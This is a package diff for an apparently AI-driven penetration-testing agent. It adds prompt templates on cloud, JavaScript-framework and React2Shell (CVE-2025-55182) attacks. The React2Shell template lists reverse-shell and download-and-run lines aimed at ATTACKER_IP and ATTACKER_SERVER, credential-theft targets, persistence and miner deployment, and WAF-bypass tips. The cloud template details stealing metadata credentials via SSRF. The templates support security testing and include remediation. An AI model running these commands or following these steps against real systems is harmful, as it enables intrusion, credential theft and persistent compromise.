exaai-agent 2.0.5__py3-none-any.whl → 2.0.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/METADATA +1 -1
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/RECORD +18 -10
- exaaiagnt/interface/tui.py +16 -2
- exaaiagnt/llm/__init__.py +13 -0
- exaaiagnt/llm/llm.py +14 -3
- exaaiagnt/llm/llm_traffic_controller.py +351 -0
- exaaiagnt/prompts/auto_loader.py +104 -0
- exaaiagnt/prompts/cloud/aws_cloud_security.jinja +235 -0
- exaaiagnt/prompts/frameworks/modern_js_frameworks.jinja +194 -0
- exaaiagnt/prompts/vulnerabilities/react2shell.jinja +187 -0
- exaaiagnt/tools/__init__.py +58 -0
- exaaiagnt/tools/response_analyzer.py +294 -0
- exaaiagnt/tools/smart_fuzzer.py +286 -0
- exaaiagnt/tools/tool_prompts.py +210 -0
- exaaiagnt/tools/vuln_validator.py +412 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/WHEEL +0 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/entry_points.txt +0 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/licenses/LICENSE +0 -0
|
@@ -0,0 +1,235 @@
|
|
|
1
|
+
<aws_cloud_security_guide>
|
|
2
|
+
<title>AWS & CLOUD INFRASTRUCTURE SECURITY</title>
|
|
3
|
+
|
|
4
|
+
<critical>Cloud misconfigurations are the #1 cause of data breaches. Focus on IAM, S3, EC2 metadata, Lambda, and inter-service trust relationships. These often provide paths to full infrastructure compromise.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- AWS (EC2, S3, Lambda, IAM, RDS, etc.)
|
|
8
|
+
- Azure (VMs, Blob Storage, Functions, AD)
|
|
9
|
+
- GCP (Compute, Cloud Storage, Cloud Functions)
|
|
10
|
+
- Multi-cloud environments
|
|
11
|
+
- Kubernetes/EKS/AKS/GKE
|
|
12
|
+
</scope>
|
|
13
|
+
|
|
14
|
+
<!-- AWS SPECIFIC -->
|
|
15
|
+
<aws>
|
|
16
|
+
<title>AWS Security Testing</title>
|
|
17
|
+
|
|
18
|
+
<metadata_service>
|
|
19
|
+
EC2 Instance Metadata (IMDS):
|
|
20
|
+
- IMDSv1: http://169.254.169.254/latest/meta-data/
|
|
21
|
+
- IMDSv2: Requires token via PUT request
|
|
22
|
+
- Critical paths:
|
|
23
|
+
- /latest/meta-data/iam/security-credentials/
|
|
24
|
+
- /latest/meta-data/iam/security-credentials/[ROLE_NAME]
|
|
25
|
+
- /latest/user-data
|
|
26
|
+
- /latest/dynamic/instance-identity/document
|
|
27
|
+
|
|
28
|
+
SSRF to Metadata Exploitation:
|
|
29
|
+
1. Identify SSRF vulnerability
|
|
30
|
+
2. Request: http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
31
|
+
3. Get role name from response
|
|
32
|
+
4. Request: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
|
|
33
|
+
5. Extract AccessKeyId, SecretAccessKey, Token
|
|
34
|
+
6. Use credentials for AWS API access
|
|
35
|
+
</metadata_service>
|
|
36
|
+
|
|
37
|
+
<s3_attacks>
|
|
38
|
+
S3 Bucket Attacks:
|
|
39
|
+
- Public bucket enumeration
|
|
40
|
+
- Bucket policy misconfiguration
|
|
41
|
+
- ACL misconfigurations
|
|
42
|
+
- Pre-signed URL abuse
|
|
43
|
+
- Object versioning data recovery
|
|
44
|
+
|
|
45
|
+
Testing Commands:
|
|
46
|
+
- aws s3 ls s3://bucket-name --no-sign-request
|
|
47
|
+
- aws s3 cp s3://bucket/file . --no-sign-request
|
|
48
|
+
- Check bucket policies via GET ?policy
|
|
49
|
+
- Test WRITE access: aws s3 cp test.txt s3://bucket/
|
|
50
|
+
</s3_attacks>
|
|
51
|
+
|
|
52
|
+
<iam_attacks>
|
|
53
|
+
IAM Privilege Escalation:
|
|
54
|
+
- CreatePolicyVersion escalation
|
|
55
|
+
- SetDefaultPolicyVersion abuse
|
|
56
|
+
- PassRole with service abuse
|
|
57
|
+
- sts:AssumeRole chaining
|
|
58
|
+
- Lambda execution role abuse
|
|
59
|
+
- EC2 instance profile abuse
|
|
60
|
+
|
|
61
|
+
Enumeration:
|
|
62
|
+
- List attached policies
|
|
63
|
+
- Check inline policies
|
|
64
|
+
- Enumerate role trust policies
|
|
65
|
+
- Map cross-account access
|
|
66
|
+
</iam_attacks>
|
|
67
|
+
|
|
68
|
+
<lambda_attacks>
|
|
69
|
+
Lambda Security:
|
|
70
|
+
- Environment variable secrets
|
|
71
|
+
- IAM role permissions
|
|
72
|
+
- Event injection
|
|
73
|
+
- Code injection via dependencies
|
|
74
|
+
- Layer poisoning
|
|
75
|
+
- Alias/version manipulation
|
|
76
|
+
|
|
77
|
+
Testing:
|
|
78
|
+
- Extract env vars if code access
|
|
79
|
+
- Test event source injection
|
|
80
|
+
- Check for overprivileged roles
|
|
81
|
+
- Review dependencies for vulns
|
|
82
|
+
</lambda_attacks>
|
|
83
|
+
</aws>
|
|
84
|
+
|
|
85
|
+
<!-- AZURE SPECIFIC -->
|
|
86
|
+
<azure>
|
|
87
|
+
<title>Azure Security Testing</title>
|
|
88
|
+
|
|
89
|
+
<metadata_service>
|
|
90
|
+
Azure Instance Metadata Service:
|
|
91
|
+
- Endpoint: http://169.254.169.254/metadata/
|
|
92
|
+
- Requires: Metadata: true header
|
|
93
|
+
- Identity endpoint: /metadata/identity/oauth2/token
|
|
94
|
+
|
|
95
|
+
Get Access Token:
|
|
96
|
+
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
|
|
97
|
+
Header: Metadata: true
|
|
98
|
+
</metadata_service>
|
|
99
|
+
|
|
100
|
+
<storage_attacks>
|
|
101
|
+
Azure Blob Storage:
|
|
102
|
+
- Anonymous access containers
|
|
103
|
+
- Shared Access Signature (SAS) token abuse
|
|
104
|
+
- Storage account key exposure
|
|
105
|
+
- Blob snapshot access
|
|
106
|
+
|
|
107
|
+
Testing:
|
|
108
|
+
- Check container ACL for public access
|
|
109
|
+
- Test expired SAS tokens
|
|
110
|
+
- Enumerate storage accounts by name
|
|
111
|
+
</storage_attacks>
|
|
112
|
+
|
|
113
|
+
<ad_attacks>
|
|
114
|
+
Azure AD Attacks:
|
|
115
|
+
- Application secret exposure
|
|
116
|
+
- Service principal abuse
|
|
117
|
+
- Managed identity exploitation
|
|
118
|
+
- Conditional access bypass
|
|
119
|
+
- PRT (Primary Refresh Token) theft
|
|
120
|
+
</ad_attacks>
|
|
121
|
+
</azure>
|
|
122
|
+
|
|
123
|
+
<!-- GCP SPECIFIC -->
|
|
124
|
+
<gcp>
|
|
125
|
+
<title>GCP Security Testing</title>
|
|
126
|
+
|
|
127
|
+
<metadata_service>
|
|
128
|
+
GCP Metadata Service:
|
|
129
|
+
- Endpoint: http://metadata.google.internal/
|
|
130
|
+
- Requires: Metadata-Flavor: Google header
|
|
131
|
+
|
|
132
|
+
Key Paths:
|
|
133
|
+
- /computeMetadata/v1/project/project-id
|
|
134
|
+
- /computeMetadata/v1/instance/service-accounts/
|
|
135
|
+
- /computeMetadata/v1/instance/service-accounts/default/token
|
|
136
|
+
- /computeMetadata/v1/instance/attributes/
|
|
137
|
+
|
|
138
|
+
Get Service Account Token:
|
|
139
|
+
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
|
140
|
+
Header: Metadata-Flavor: Google
|
|
141
|
+
</metadata_service>
|
|
142
|
+
|
|
143
|
+
<storage_attacks>
|
|
144
|
+
Cloud Storage Attacks:
|
|
145
|
+
- Bucket ACL misconfiguration
|
|
146
|
+
- Signed URL abuse
|
|
147
|
+
- Object versioning access
|
|
148
|
+
- Bucket policy overwrite
|
|
149
|
+
</storage_attacks>
|
|
150
|
+
</gcp>
|
|
151
|
+
|
|
152
|
+
<!-- KUBERNETES SPECIFIC -->
|
|
153
|
+
<kubernetes>
|
|
154
|
+
<title>Kubernetes Security</title>
|
|
155
|
+
|
|
156
|
+
Attack Surfaces:
|
|
157
|
+
- API server exposure
|
|
158
|
+
- RBAC misconfigurations
|
|
159
|
+
- Service account token abuse
|
|
160
|
+
- Secrets in environment variables
|
|
161
|
+
- Privileged containers
|
|
162
|
+
- Host path mounts
|
|
163
|
+
- Network policy gaps
|
|
164
|
+
|
|
165
|
+
Testing from Pod:
|
|
166
|
+
- cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
167
|
+
- Check RBAC: kubectl auth can-i --list
|
|
168
|
+
- Enumerate secrets: kubectl get secrets
|
|
169
|
+
- Check for privileged access
|
|
170
|
+
- Test host network access
|
|
171
|
+
|
|
172
|
+
Lateral Movement:
|
|
173
|
+
- Access other pods via service accounts
|
|
174
|
+
- Escape to node via privileged container
|
|
175
|
+
- Access cloud metadata from pod
|
|
176
|
+
- Pivot to control plane
|
|
177
|
+
</kubernetes>
|
|
178
|
+
|
|
179
|
+
<methodology>
|
|
180
|
+
1. RECONNAISSANCE
|
|
181
|
+
- Identify cloud provider (AWS/Azure/GCP)
|
|
182
|
+
- Enumerate public resources (S3, blobs)
|
|
183
|
+
- Fingerprint services and regions
|
|
184
|
+
- Find exposed credentials in code
|
|
185
|
+
|
|
186
|
+
2. INITIAL ACCESS
|
|
187
|
+
- Exploit SSRF to metadata service
|
|
188
|
+
- Use exposed credentials
|
|
189
|
+
- Abuse public storage
|
|
190
|
+
- Exploit misconfigured services
|
|
191
|
+
|
|
192
|
+
3. CREDENTIAL ACCESS
|
|
193
|
+
- Extract IAM credentials
|
|
194
|
+
- Steal service account tokens
|
|
195
|
+
- Dump secrets from services
|
|
196
|
+
|
|
197
|
+
4. PRIVILEGE ESCALATION
|
|
198
|
+
- IAM policy abuse
|
|
199
|
+
- Role chaining
|
|
200
|
+
- Service exploitation
|
|
201
|
+
|
|
202
|
+
5. LATERAL MOVEMENT
|
|
203
|
+
- Cross-account access
|
|
204
|
+
- Service-to-service trust
|
|
205
|
+
- Kubernetes pod hopping
|
|
206
|
+
|
|
207
|
+
6. DATA EXFILTRATION
|
|
208
|
+
- S3/Blob data access
|
|
209
|
+
- Database extraction
|
|
210
|
+
- Secret retrieval
|
|
211
|
+
</methodology>
|
|
212
|
+
|
|
213
|
+
<validation>
|
|
214
|
+
1. Show credential extraction with exact endpoints
|
|
215
|
+
2. Demonstrate API access with stolen credentials
|
|
216
|
+
3. Document privilege escalation path
|
|
217
|
+
4. Provide remediation per service
|
|
218
|
+
5. Test with minimal impact
|
|
219
|
+
</validation>
|
|
220
|
+
|
|
221
|
+
<pro_tips>
|
|
222
|
+
1. Always check for SSRF to metadata - it's often the entry point
|
|
223
|
+
2. IMDSv2 isn't foolproof - check for header injection
|
|
224
|
+
3. Temporary credentials expire - act fast
|
|
225
|
+
4. S3 bucket names are globally unique - enumerate aggressively
|
|
226
|
+
5. Check for cross-account roles and trust policies
|
|
227
|
+
6. Lambda environment variables often contain secrets
|
|
228
|
+
7. Kubernetes RBAC is commonly over-permissioned
|
|
229
|
+
8. Storage public access settings change frequently
|
|
230
|
+
9. Look for hardcoded AWS keys in GitHub/public repos
|
|
231
|
+
10. Cloud CLI tools often cache credentials insecurely
|
|
232
|
+
</pro_tips>
|
|
233
|
+
|
|
234
|
+
<remember>Cloud security failures cascade. One misconfigured IAM role or S3 bucket can lead to complete infrastructure compromise. Enumerate all trust relationships and test each privilege boundary.</remember>
|
|
235
|
+
</aws_cloud_security_guide>
|
|
@@ -0,0 +1,194 @@
|
|
|
1
|
+
<modern_frameworks_guide>
|
|
2
|
+
<title>MODERN JAVASCRIPT FRAMEWORK SECURITY</title>
|
|
3
|
+
|
|
4
|
+
<critical>Modern JS frameworks introduce new attack surfaces through server-side rendering, hydration, server components, and edge functions. Each framework has unique security boundaries that differ from traditional web applications.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- Next.js (React SSR/RSC)
|
|
8
|
+
- Nuxt.js (Vue SSR)
|
|
9
|
+
- SvelteKit
|
|
10
|
+
- Remix
|
|
11
|
+
- Astro
|
|
12
|
+
- Fresh (Deno)
|
|
13
|
+
- Qwik
|
|
14
|
+
- SolidStart
|
|
15
|
+
</scope>
|
|
16
|
+
|
|
17
|
+
<!-- NEXT.JS SECURITY -->
|
|
18
|
+
<nextjs>
|
|
19
|
+
<title>Next.js Security Testing</title>
|
|
20
|
+
|
|
21
|
+
Attack Surfaces:
|
|
22
|
+
- Server Components (_actions, RSC payloads)
|
|
23
|
+
- API Routes (/api/*, edge functions)
|
|
24
|
+
- Middleware (authentication bypass)
|
|
25
|
+
- Static file paths (/_next/static, source maps)
|
|
26
|
+
- Image optimization (/next/image)
|
|
27
|
+
- Dynamic routes ([param] paths)
|
|
28
|
+
|
|
29
|
+
Known Vulnerability Patterns:
|
|
30
|
+
1. React2Shell (CVE-2025-55182) - RSC deserialization RCE
|
|
31
|
+
2. Server Actions injection
|
|
32
|
+
3. Middleware authentication bypass
|
|
33
|
+
4. SSRF via image optimization
|
|
34
|
+
5. Path traversal in static assets
|
|
35
|
+
6. Environment variable leakage
|
|
36
|
+
7. Source code exposure via source maps
|
|
37
|
+
|
|
38
|
+
Testing Methodology:
|
|
39
|
+
- Identify App Router vs Pages Router
|
|
40
|
+
- Enumerate all API routes
|
|
41
|
+
- Test server actions for injection
|
|
42
|
+
- Check middleware logic for bypasses
|
|
43
|
+
- Review getServerSideProps/getStaticProps for SSRF
|
|
44
|
+
- Test image optimization URL parameter
|
|
45
|
+
- Look for exposed .next/server files
|
|
46
|
+
</nextjs>
|
|
47
|
+
|
|
48
|
+
<!-- NUXT.JS SECURITY -->
|
|
49
|
+
<nuxt>
|
|
50
|
+
<title>Nuxt.js Security Testing</title>
|
|
51
|
+
|
|
52
|
+
Attack Surfaces:
|
|
53
|
+
- Server routes (/api/*, /server/)
|
|
54
|
+
- Nitro engine handlers
|
|
55
|
+
- Middleware execution order
|
|
56
|
+
- Static file generation
|
|
57
|
+
- Plugin execution order
|
|
58
|
+
- Payload extraction
|
|
59
|
+
|
|
60
|
+
Vulnerability Patterns:
|
|
61
|
+
1. Server route injection
|
|
62
|
+
2. Nitro preset-specific issues
|
|
63
|
+
3. useAsyncData/useFetch SSRF
|
|
64
|
+
4. Middleware bypass via route ordering
|
|
65
|
+
5. Auto-import security issues
|
|
66
|
+
6. Payload prototype pollution
|
|
67
|
+
|
|
68
|
+
Testing Focus:
|
|
69
|
+
- Enumerate server routes
|
|
70
|
+
- Test useAsyncData with controlled URLs
|
|
71
|
+
- Check for exposed __nuxt.config
|
|
72
|
+
- Review middleware chain for gaps
|
|
73
|
+
- Test content-type switching attacks
|
|
74
|
+
</nuxt>
|
|
75
|
+
|
|
76
|
+
<!-- SVELTEKIT SECURITY -->
|
|
77
|
+
<sveltekit>
|
|
78
|
+
<title>SvelteKit Security Testing</title>
|
|
79
|
+
|
|
80
|
+
Attack Surfaces:
|
|
81
|
+
- Form actions (+page.server.js/ts)
|
|
82
|
+
- Load functions (server-side)
|
|
83
|
+
- Hooks (handle, handleError)
|
|
84
|
+
- Endpoints (+server.js/ts)
|
|
85
|
+
- Prerender paths
|
|
86
|
+
|
|
87
|
+
Vulnerability Patterns:
|
|
88
|
+
1. Form action injection
|
|
89
|
+
2. Load function SSRF
|
|
90
|
+
3. Hook authentication bypass
|
|
91
|
+
4. Endpoint parameter injection
|
|
92
|
+
5. Adapter-specific issues (node, vercel, etc.)
|
|
93
|
+
|
|
94
|
+
Testing Focus:
|
|
95
|
+
- Map all +page.server and +server files
|
|
96
|
+
- Test form action parameters
|
|
97
|
+
- Check load function URL handling
|
|
98
|
+
- Review hooks for auth logic flaws
|
|
99
|
+
- Test adapter-specific behaviors
|
|
100
|
+
</sveltekit>
|
|
101
|
+
|
|
102
|
+
<!-- REMIX SECURITY -->
|
|
103
|
+
<remix>
|
|
104
|
+
<title>Remix Security Testing</title>
|
|
105
|
+
|
|
106
|
+
Attack Surfaces:
|
|
107
|
+
- Loader functions
|
|
108
|
+
- Action functions
|
|
109
|
+
- Route parameters
|
|
110
|
+
- Form handling
|
|
111
|
+
- Session management
|
|
112
|
+
- Error boundaries
|
|
113
|
+
|
|
114
|
+
Vulnerability Patterns:
|
|
115
|
+
1. Loader SSRF
|
|
116
|
+
2. Action function injection
|
|
117
|
+
3. Session cookie manipulation
|
|
118
|
+
4. Route parameter injection
|
|
119
|
+
5. Cross-route data leakage
|
|
120
|
+
|
|
121
|
+
Testing Focus:
|
|
122
|
+
- Enumerate all route modules
|
|
123
|
+
- Test loader URL parameters for SSRF
|
|
124
|
+
- Check action form handling
|
|
125
|
+
- Review session implementation
|
|
126
|
+
- Test error boundary information exposure
|
|
127
|
+
</remix>
|
|
128
|
+
|
|
129
|
+
<common_patterns>
|
|
130
|
+
Universal Vulnerabilities Across Frameworks:
|
|
131
|
+
1. HYDRATION ATTACKS
|
|
132
|
+
- Inject scripts that execute client-side post-hydration
|
|
133
|
+
- Prototype pollution via serialized state
|
|
134
|
+
- XSS via initial server state
|
|
135
|
+
|
|
136
|
+
2. SSR INJECTION
|
|
137
|
+
- Template injection in server-rendered content
|
|
138
|
+
- SSTI through framework-specific syntax
|
|
139
|
+
- HTML injection before hydration
|
|
140
|
+
|
|
141
|
+
3. ROUTE MANIPULATION
|
|
142
|
+
- Parameter pollution across route boundaries
|
|
143
|
+
- Dynamic route injection
|
|
144
|
+
- Catch-all route abuse
|
|
145
|
+
|
|
146
|
+
4. API ROUTE BYPASS
|
|
147
|
+
- Direct API access without middleware
|
|
148
|
+
- CORS misconfiguration
|
|
149
|
+
- Authentication middleware ordering issues
|
|
150
|
+
|
|
151
|
+
5. BUILD/DEPLOY EXPOSURE
|
|
152
|
+
- Source maps in production
|
|
153
|
+
- Environment variables in client bundle
|
|
154
|
+
- Debug endpoints enabled
|
|
155
|
+
</common_patterns>
|
|
156
|
+
|
|
157
|
+
<detection>
|
|
158
|
+
Framework Fingerprinting:
|
|
159
|
+
- Next.js: /_next/static, x-nextjs-* headers
|
|
160
|
+
- Nuxt.js: /_nuxt/, __NUXT__ variable
|
|
161
|
+
- SvelteKit: _svelte_kit/, .svelte-kit paths
|
|
162
|
+
- Remix: __remix-assets, _remix headers
|
|
163
|
+
- Astro: /_astro/, astro islands
|
|
164
|
+
|
|
165
|
+
Version Detection:
|
|
166
|
+
- Check /_next/static/chunks/webpack-*.js for Next.js version
|
|
167
|
+
- Review meta generator tags
|
|
168
|
+
- Analyze bundle structure and naming
|
|
169
|
+
- Check error page formatting
|
|
170
|
+
</detection>
|
|
171
|
+
|
|
172
|
+
<validation>
|
|
173
|
+
1. Confirm framework and exact version
|
|
174
|
+
2. Map all server-side entry points
|
|
175
|
+
3. Test each pattern systematically
|
|
176
|
+
4. Provide framework-specific PoCs
|
|
177
|
+
5. Document remediation per framework
|
|
178
|
+
</validation>
|
|
179
|
+
|
|
180
|
+
<pro_tips>
|
|
181
|
+
1. Each framework has different server/client boundaries - understand them
|
|
182
|
+
2. Edge functions have different capabilities than Node.js functions
|
|
183
|
+
3. Development mode often exposes more than production
|
|
184
|
+
4. Check build configuration for security misconfigurations
|
|
185
|
+
5. Framework version upgrades often introduce new attack surfaces
|
|
186
|
+
6. ISR/SSG pages may cache sensitive data inappropriately
|
|
187
|
+
7. Authentication should happen in middleware, not individual routes
|
|
188
|
+
8. Always test both direct API access and through UI
|
|
189
|
+
9. Check for framework-specific debugging endpoints
|
|
190
|
+
10. Serialization boundaries are common injection points
|
|
191
|
+
</pro_tips>
|
|
192
|
+
|
|
193
|
+
<remember>Modern frameworks abstract complexity but don't eliminate security concerns. Each layer (SSR, hydration, API, edge) introduces potential vulnerabilities. Test the boundaries between server and client thoroughly.</remember>
|
|
194
|
+
</modern_frameworks_guide>
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
<react2shell_guide>
|
|
2
|
+
<title>REACT2SHELL - RSC DESERIALIZATION RCE</title>
|
|
3
|
+
|
|
4
|
+
<critical>CVE-2025-55182: Critical unauthenticated Remote Code Execution via React Server Components (RSC) Flight protocol. CVSS 10.0. Actively exploited by APT groups including China-nexus actors. Affects React 19.x and Next.js 15.x/16.x with App Router.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- React 19.x (before 19.0.1, 19.1.2, 19.2.1)
|
|
8
|
+
- Next.js 15.x/16.x with App Router
|
|
9
|
+
- Vite RSC plugin
|
|
10
|
+
- Parcel RSC plugin
|
|
11
|
+
- React Router RSC preview
|
|
12
|
+
- RedwoodSDK
|
|
13
|
+
- Waku framework
|
|
14
|
+
- Any framework implementing RSC Flight protocol
|
|
15
|
+
</scope>
|
|
16
|
+
|
|
17
|
+
<vulnerability_details>
|
|
18
|
+
The vulnerability exists in the React Server Components (RSC) "Flight" protocol deserialization process. When a server processes attacker-controlled RSC payloads without sufficient validation, it becomes possible to execute arbitrary JavaScript code on the server.
|
|
19
|
+
|
|
20
|
+
Key characteristics:
|
|
21
|
+
- No authentication required
|
|
22
|
+
- No user interaction needed
|
|
23
|
+
- No elevated permissions required
|
|
24
|
+
- Single HTTP request is sufficient for exploitation
|
|
25
|
+
- Payload processed BEFORE application authentication logic
|
|
26
|
+
</vulnerability_details>
|
|
27
|
+
|
|
28
|
+
<exploit_technique>
|
|
29
|
+
The React2Shell exploit leverages JavaScript duck-typing and dynamic code execution through a four-stage attack:
|
|
30
|
+
|
|
31
|
+
1. SELF-REFERENCE LOOP CREATION
|
|
32
|
+
- Create a self-referential loop in the RSC payload
|
|
33
|
+
- Abuse JavaScript object property resolution
|
|
34
|
+
|
|
35
|
+
2. ATTACKER CODE INVOCATION
|
|
36
|
+
- Trick JavaScript runtime into calling attacker-controlled code
|
|
37
|
+
- Leverage prototype chain manipulation
|
|
38
|
+
|
|
39
|
+
3. MALICIOUS DATA INJECTION
|
|
40
|
+
- Inject malicious data for initialization
|
|
41
|
+
- Exploit deserialization to instantiate objects
|
|
42
|
+
|
|
43
|
+
4. ARBITRARY CODE EXECUTION
|
|
44
|
+
- Execute code via Blob Handler
|
|
45
|
+
- Achieve RCE through Flight protocol processing
|
|
46
|
+
</exploit_technique>
|
|
47
|
+
|
|
48
|
+
<detection>
|
|
49
|
+
Identify vulnerable targets:
|
|
50
|
+
- Look for Next.js App Router indicators (/_next/static, RSC headers)
|
|
51
|
+
- Check for React 19.x version disclosure
|
|
52
|
+
- Identify RSC endpoints responding to Flight protocol
|
|
53
|
+
- Look for x-nextjs-* headers or similar framework indicators
|
|
54
|
+
- Check for /_actions endpoints (Server Actions)
|
|
55
|
+
|
|
56
|
+
Vulnerable indicators:
|
|
57
|
+
- Applications using "use server" directives
|
|
58
|
+
- Next.js apps with app/ directory structure
|
|
59
|
+
- React applications with Server Components enabled
|
|
60
|
+
- Any endpoint accepting RSC Flight payloads
|
|
61
|
+
</detection>
|
|
62
|
+
|
|
63
|
+
<exploitation_payloads>
|
|
64
|
+
System Information Gathering:
|
|
65
|
+
- Execute: uname -a, whoami, hostname, id
|
|
66
|
+
- Read: /etc/passwd, /etc/shadow (if root)
|
|
67
|
+
- Enumerate: environment variables, AWS credentials
|
|
68
|
+
|
|
69
|
+
Reverse Shell Examples:
|
|
70
|
+
- bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
|
|
71
|
+
- python -c 'import socket,subprocess,os;...'
|
|
72
|
+
- curl ATTACKER_SERVER/shell.sh | bash
|
|
73
|
+
|
|
74
|
+
Data Exfiltration Targets:
|
|
75
|
+
- AWS config files: ~/.aws/credentials, ~/.aws/config
|
|
76
|
+
- Environment variables: process.env export
|
|
77
|
+
- Application secrets: .env files, config.js
|
|
78
|
+
|
|
79
|
+
Post-Exploitation:
|
|
80
|
+
- Install SSH keys for persistence
|
|
81
|
+
- Create systemd services for persistence
|
|
82
|
+
- Deploy cryptominers (XMRig observed in wild)
|
|
83
|
+
- Deploy backdoors (PeerBlight, CowTunnel, ZinFoq)
|
|
84
|
+
- Deploy Cobalt Strike/Sliver beacons
|
|
85
|
+
</exploitation_payloads>
|
|
86
|
+
|
|
87
|
+
<methodology>
|
|
88
|
+
1. RECONNAISSANCE
|
|
89
|
+
- Identify React/Next.js applications
|
|
90
|
+
- Detect RSC endpoint locations
|
|
91
|
+
- Fingerprint framework version
|
|
92
|
+
- Map server functions and actions
|
|
93
|
+
|
|
94
|
+
2. VULNERABILITY CONFIRMATION
|
|
95
|
+
- Send crafted Flight protocol payload
|
|
96
|
+
- Check for deserialization behavior
|
|
97
|
+
- Confirm RCE capability with safe command (sleep, DNS lookup)
|
|
98
|
+
|
|
99
|
+
3. EXPLOITATION
|
|
100
|
+
- Develop appropriate payload for target OS
|
|
101
|
+
- Execute code to gain initial access
|
|
102
|
+
- Establish persistence if authorized
|
|
103
|
+
|
|
104
|
+
4. POST-EXPLOITATION
|
|
105
|
+
- Enumerate internal network
|
|
106
|
+
- Access cloud metadata endpoints
|
|
107
|
+
- Exfiltrate sensitive data
|
|
108
|
+
- Pivot to internal systems
|
|
109
|
+
|
|
110
|
+
5. REPORTING
|
|
111
|
+
- Document affected versions
|
|
112
|
+
- Provide PoC requests
|
|
113
|
+
- Detail impact assessment
|
|
114
|
+
- Recommend immediate patching
|
|
115
|
+
</methodology>
|
|
116
|
+
|
|
117
|
+
<related_cves>
|
|
118
|
+
- CVE-2025-55182: Critical RCE (CVSS 10.0)
|
|
119
|
+
- CVE-2025-55184: DoS via RSC (High severity)
|
|
120
|
+
- CVE-2025-55183: Source Code Exposure (Medium severity)
|
|
121
|
+
- CVE-2025-67779: Incomplete DoS fix
|
|
122
|
+
</related_cves>
|
|
123
|
+
|
|
124
|
+
<waf_bypass_techniques>
|
|
125
|
+
- Fragment payloads across multiple requests
|
|
126
|
+
- Use encoding variations (base64, hex, unicode)
|
|
127
|
+
- Leverage HTTP parameter pollution
|
|
128
|
+
- Send via WebSocket upgrade if available
|
|
129
|
+
- Use chunked transfer encoding
|
|
130
|
+
- Obfuscate JavaScript constructs in payload
|
|
131
|
+
</waf_bypass_techniques>
|
|
132
|
+
|
|
133
|
+
<validation>
|
|
134
|
+
1. Confirm React/Next.js version is vulnerable
|
|
135
|
+
2. Demonstrate code execution with harmless payload
|
|
136
|
+
3. Show clear request/response with exploit
|
|
137
|
+
4. Provide version-specific PoC
|
|
138
|
+
5. Test in local environment before production testing
|
|
139
|
+
</validation>
|
|
140
|
+
|
|
141
|
+
<false_positives>
|
|
142
|
+
- Next.js Pages Router (not affected, only App Router)
|
|
143
|
+
- React versions before 19.x
|
|
144
|
+
- Properly patched versions
|
|
145
|
+
- Applications without RSC endpoints
|
|
146
|
+
- Static-only Next.js deployments
|
|
147
|
+
</false_positives>
|
|
148
|
+
|
|
149
|
+
<impact>
|
|
150
|
+
- CRITICAL: Unauthenticated Remote Code Execution
|
|
151
|
+
- Full server compromise
|
|
152
|
+
- Data exfiltration and manipulation
|
|
153
|
+
- Lateral movement to internal networks
|
|
154
|
+
- Cloud infrastructure compromise (AWS/GCP/Azure)
|
|
155
|
+
- Supply chain attacks via modified deployments
|
|
156
|
+
</impact>
|
|
157
|
+
|
|
158
|
+
<remediation>
|
|
159
|
+
IMMEDIATE ACTIONS:
|
|
160
|
+
1. Update React to 19.0.1, 19.1.2, or 19.2.1+
|
|
161
|
+
2. Update Next.js to latest patched version
|
|
162
|
+
3. Apply Cloudflare/WAF rules for RSC payload detection
|
|
163
|
+
4. Monitor for exploitation attempts
|
|
164
|
+
5. Review server logs for suspicious RSC requests
|
|
165
|
+
|
|
166
|
+
LONG-TERM:
|
|
167
|
+
- Implement input validation on all RSC endpoints
|
|
168
|
+
- Enable runtime security monitoring
|
|
169
|
+
- Deploy web application firewall with RSC rules
|
|
170
|
+
- Regular security assessments
|
|
171
|
+
</remediation>
|
|
172
|
+
|
|
173
|
+
<pro_tips>
|
|
174
|
+
1. Start with version fingerprinting - exploitation depends heavily on exact version
|
|
175
|
+
2. Use DNS/OAST callbacks for blind confirmation before noisy payloads
|
|
176
|
+
3. Target development/staging environments before production
|
|
177
|
+
4. Check for cloud metadata accessibility (169.254.169.254)
|
|
178
|
+
5. Enumerate all RSC endpoints - some may have weaker protections
|
|
179
|
+
6. Monitor for published PoCs and adapt payloads
|
|
180
|
+
7. This vuln bypasses auth - test unauthorized access paths
|
|
181
|
+
8. Check for rate limiting that might block exploitation
|
|
182
|
+
9. Some WAFs detect known payloads - use custom encoding
|
|
183
|
+
10. Document exact version info - patches may introduce new CVEs
|
|
184
|
+
</pro_tips>
|
|
185
|
+
|
|
186
|
+
<remember>React2Shell represents a critical class of server-side JavaScript deserialization vulnerabilities. Applications using React Server Components require immediate assessment, regardless of whether they explicitly use server functions. The pre-auth nature makes this exceptionally dangerous for internet-facing applications.</remember>
|
|
187
|
+
</react2shell_guide>
|
exaaiagnt/tools/__init__.py
CHANGED
|
@@ -26,6 +26,37 @@ from .waf_bypass import (
|
|
|
26
26
|
detect_waf,
|
|
27
27
|
generate_bypasses,
|
|
28
28
|
)
|
|
29
|
+
from .smart_fuzzer import (
|
|
30
|
+
get_smart_fuzzer,
|
|
31
|
+
SmartFuzzer,
|
|
32
|
+
ParamType,
|
|
33
|
+
VulnCategory,
|
|
34
|
+
FuzzPayload,
|
|
35
|
+
fuzz_parameter,
|
|
36
|
+
)
|
|
37
|
+
from .response_analyzer import (
|
|
38
|
+
get_response_analyzer,
|
|
39
|
+
ResponseAnalyzer,
|
|
40
|
+
DetectionType,
|
|
41
|
